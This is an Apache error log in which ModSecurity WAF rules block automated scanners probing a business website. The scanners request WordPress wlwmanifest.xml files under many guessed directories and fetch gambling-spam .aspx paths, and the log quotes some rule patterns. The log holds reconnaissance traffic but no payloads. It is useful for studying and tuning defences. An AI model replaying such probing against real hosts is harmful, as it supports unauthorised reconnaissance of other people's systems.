[Fri Apr 10 06:12:35.145727 2026] [:error] [pid 59218:tid 59224] [client 136.107.164.182:51326] [client 136.107.164.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.107.164.182, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adgkU4jSO_Wp4VS3Qe_v1wAAAYQ"]
[Fri Apr 10 06:12:36.610486 2026] [:error] [pid 59218:tid 59225] [client 136.107.164.182:51326] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "adgkVIjSO_Wp4VS3Qe_v4QAAAYU"]
[Fri Apr 10 06:12:36.957921 2026] [:error] [pid 59218:tid 59244] [client 136.107.164.182:50328] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "adgkVIjSO_Wp4VS3Qe_v4wAAAZg"]
[Fri Apr 10 06:12:37.564957 2026] [:error] [pid 59286:tid 59304] [client 136.107.164.182:58060] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "adgkVW1gMezN4JEr-RWrJAAAAdA"]
[Fri Apr 10 06:12:38.261632 2026] [:error] [pid 12685:tid 12690] [client 136.107.164.182:54721] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "adgkVs8f5ssYShsynap3PgAAAMM"]
[Fri Apr 10 06:12:38.455197 2026] [:error] [pid 12576:tid 12669] [client 136.107.164.182:51370] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "adgkVgZp1JUS4li1Qnu1-gAAAJQ"]
[Fri Apr 10 06:12:39.126636 2026] [:error] [pid 59286:tid 59294] [client 136.107.164.182:55352] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "adgkV21gMezN4JEr-RWrJQAAAcY"]
[Fri Apr 10 06:12:39.450775 2026] [:error] [pid 59286:tid 59296] [client 136.107.164.182:53412] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "adgkV21gMezN4JEr-RWrJwAAAcg"]
[Fri Apr 10 06:12:40.114777 2026] [:error] [pid 59218:tid 59229] [client 136.107.164.182:51300] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "adgkWIjSO_Wp4VS3Qe_v5AAAAYk"]
[Fri Apr 10 06:12:40.464636 2026] [:error] [pid 59286:tid 59308] [client 136.107.164.182:52938] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "adgkWG1gMezN4JEr-RWrLgAAAdQ"]
[Fri Apr 10 06:12:41.300818 2026] [:error] [pid 59286:tid 59306] [client 136.107.164.182:55566] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "adgkWW1gMezN4JEr-RWrLwAAAdI"]
[Fri Apr 10 06:12:41.403184 2026] [:error] [pid 59098:tid 59110] [client 136.107.164.182:54165] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "adgkWSZshs05JVy8bJ4XYwAAAQk"]
[Fri Apr 10 06:12:42.161823 2026] [:error] [pid 12575:tid 12626] [client 136.107.164.182:52579] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "adgkWijFTOT5X6zsPClQNgAAAEQ"]
[Fri Apr 10 06:12:42.337432 2026] [:error] [pid 12576:tid 12657] [client 136.107.164.182:50410] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adgkWgZp1JUS4li1Qnu1_AAAAIg"]
[Fri Apr 10 06:12:43.047213 2026] [:error] [pid 59144:tid 59157] [client 136.107.164.182:58734] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "adgkWxta6MlufQo3_oruMAAAAUs"]
[Fri Apr 10 06:12:43.228794 2026] [:error] [pid 59144:tid 59167] [client 136.107.164.182:56879] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adgkWxta6MlufQo3_oruMQAAAVU"]
[Fri Apr 10 06:12:44.118670 2026] [:error] [pid 59144:tid 59159] [client 136.107.164.182:56992] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adgkXBta6MlufQo3_oruNAAAAU0"]
[Fri Apr 10 06:12:44.129854 2026] [:error] [pid 59144:tid 59161] [client 136.107.164.182:50428] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "adgkXBta6MlufQo3_oruNQAAAU8"]
[Fri Apr 10 06:12:45.010195 2026] [:error] [pid 12685:tid 12705] [client 136.107.164.182:62362] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adgkXc8f5ssYShsynap3QAAAANI"]
[Fri Apr 10 06:12:45.098813 2026] [:error] [pid 12685:tid 12710] [client 136.107.164.182:52714] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "adgkXc8f5ssYShsynap3QQAAANc"]
[Fri Apr 10 06:12:46.014643 2026] [:error] [pid 12575:tid 12644] [client 136.107.164.182:59107] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "adgkXijFTOT5X6zsPClQOAAAAFY"]
[Fri Apr 10 06:12:46.026769 2026] [:error] [pid 12575:tid 12634] [client 136.107.164.182:59116] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adgkXijFTOT5X6zsPClQOQAAAEw"]
[Fri Apr 10 06:12:47.064794 2026] [:error] [pid 59218:tid 59220] [client 136.107.164.182:63025] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adgkX4jSO_Wp4VS3Qe_v5gAAAYA"]
[Fri Apr 10 06:12:47.146708 2026] [:error] [pid 59286:tid 59303] [client 136.107.164.182:61448] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "adgkX21gMezN4JEr-RWrMgAAAc8"]
[Fri Apr 10 06:12:48.001452 2026] [:error] [pid 12576:tid 12650] [client 136.107.164.182:54604] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "adgkYAZp1JUS4li1Qnu1_QAAAIE"]
[Fri Apr 10 06:12:48.182526 2026] [:error] [pid 59218:tid 59226] [client 136.107.164.182:59826] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adgkYIjSO_Wp4VS3Qe_v5wAAAYY"]
[Fri Apr 10 06:12:49.111998 2026] [:error] [pid 12575:tid 12623] [client 136.107.164.182:59420] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adgkYSjFTOT5X6zsPClQPgAAAEE"]
[Fri Apr 10 06:12:50.253394 2026] [:error] [pid 59218:tid 59222] [client 136.107.164.182:63440] [client 136.107.164.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "adgkYojSO_Wp4VS3Qe_v6wAAAYI"]
[Fri Apr 10 06:37:48.175040 2026] [ssl:error] [pid 12685:tid 12688] [client 104.168.28.15:34616] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://measureyourbrand.com/
[Fri Apr 10 07:13:11.679824 2026] [:error] [pid 12576:tid 12672] [client 223.15.245.170:60342] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adgyhwZp1JUS4li1Qnu6hAAAAJc"]
[Fri Apr 10 08:41:19.373304 2026] [:error] [pid 59144:tid 59146] [client 217.182.194.2:60006] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adhHLxta6MlufQo3_ooGVgAAAUA"]
[Fri Apr 10 08:41:21.780295 2026] [:error] [pid 12685:tid 12701] [client 217.182.194.2:57428] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adhHMc8f5ssYShsynaqyVgAAAM4"]
[Fri Apr 10 08:41:24.245635 2026] [:error] [pid 12685:tid 12703] [client 217.182.194.2:57430] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adhHNM8f5ssYShsynaqyWwAAANA"]
[Fri Apr 10 08:41:26.735442 2026] [:error] [pid 12685:tid 12708] [client 217.182.194.2:57438] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adhHNs8f5ssYShsynaqyYAAAANU"]
[Fri Apr 10 08:41:29.266497 2026] [:error] [pid 12685:tid 12688] [client 217.182.194.2:38170] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adhHOc8f5ssYShsynaqyZAAAAME"]
[Fri Apr 10 08:41:31.767730 2026] [:error] [pid 12685:tid 12695] [client 217.182.194.2:38174] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adhHO88f5ssYShsynaqycAAAAMg"]
[Fri Apr 10 08:41:34.274898 2026] [:error] [pid 12574:tid 12605] [client 217.182.194.2:38188] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adhHPnw-1tvJISKJyrTj6AAAAAs"]
[Fri Apr 10 10:31:24.221743 2026] [:error] [pid 13189:tid 13198] [client 81.167.26.57:52854] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adhg_JAxiJKPums3eBAEiQAAAEY"]
[Fri Apr 10 10:31:26.781567 2026] [:error] [pid 13189:tid 13204] [client 81.167.26.57:20194] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adhg_pAxiJKPums3eBAEmwAAAEw"]
[Fri Apr 10 10:31:29.406508 2026] [:error] [pid 13189:tid 13200] [client 81.167.26.57:31356] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adhhAZAxiJKPums3eBAEoAAAAEg"]
[Fri Apr 10 10:31:32.034581 2026] [:error] [pid 13101:tid 13157] [client 81.167.26.57:61146] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adhhBN8Ldw85818pj2rKYQAAAJg"]
[Fri Apr 10 10:31:34.653822 2026] [:error] [pid 13101:tid 13148] [client 81.167.26.57:29663] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adhhBt8Ldw85818pj2rKZgAAAI8"]
[Fri Apr 10 10:31:37.113391 2026] [:error] [pid 13189:tid 13210] [client 81.167.26.57:32793] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adhhCZAxiJKPums3eBAE2QAAAFI"]
[Fri Apr 10 10:31:39.752651 2026] [:error] [pid 13101:tid 13157] [client 81.167.26.57:57241] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adhhC98Ldw85818pj2rKbwAAAJg"]
[Fri Apr 10 10:31:42.368954 2026] [:error] [pid 13101:tid 13144] [client 81.167.26.57:41060] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adhhDt8Ldw85818pj2rKcQAAAIs"]
[Fri Apr 10 10:31:45.553328 2026] [:error] [pid 13189:tid 13212] [client 81.167.26.57:48838] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adhhEZAxiJKPums3eBAE8AAAAFQ"]
[Fri Apr 10 10:31:48.244517 2026] [:error] [pid 13101:tid 13157] [client 81.167.26.57:38895] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adhhFN8Ldw85818pj2rKeQAAAJg"]
[Fri Apr 10 10:31:50.875086 2026] [:error] [pid 13101:tid 13141] [client 81.167.26.57:18105] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adhhFt8Ldw85818pj2rKgwAAAIg"]
[Fri Apr 10 10:31:53.366176 2026] [:error] [pid 13102:tid 13166] [client 81.167.26.57:36050] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adhhGf9xLvjW2guI55ZJfgAAAAY"]
[Fri Apr 10 10:31:55.861679 2026] [:error] [pid 13189:tid 13215] [client 81.167.26.57:32131] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adhhG5AxiJKPums3eBAFDwAAAFc"]
[Fri Apr 10 10:31:58.350631 2026] [:error] [pid 13189:tid 13207] [client 81.167.26.57:17194] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adhhHpAxiJKPums3eBAFEgAAAE8"]
[Fri Apr 10 10:32:00.847361 2026] [:error] [pid 13189:tid 13194] [client 81.167.26.57:7470] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adhhIJAxiJKPums3eBAFHAAAAEI"]
[Fri Apr 10 10:32:03.473625 2026] [:error] [pid 13189:tid 13194] [client 81.167.26.57:4411] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adhhI5AxiJKPums3eBAFKAAAAEI"]
[Fri Apr 10 10:32:05.950645 2026] [:error] [pid 13102:tid 13165] [client 81.167.26.57:43413] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adhhJf9xLvjW2guI55ZJsAAAAAU"]
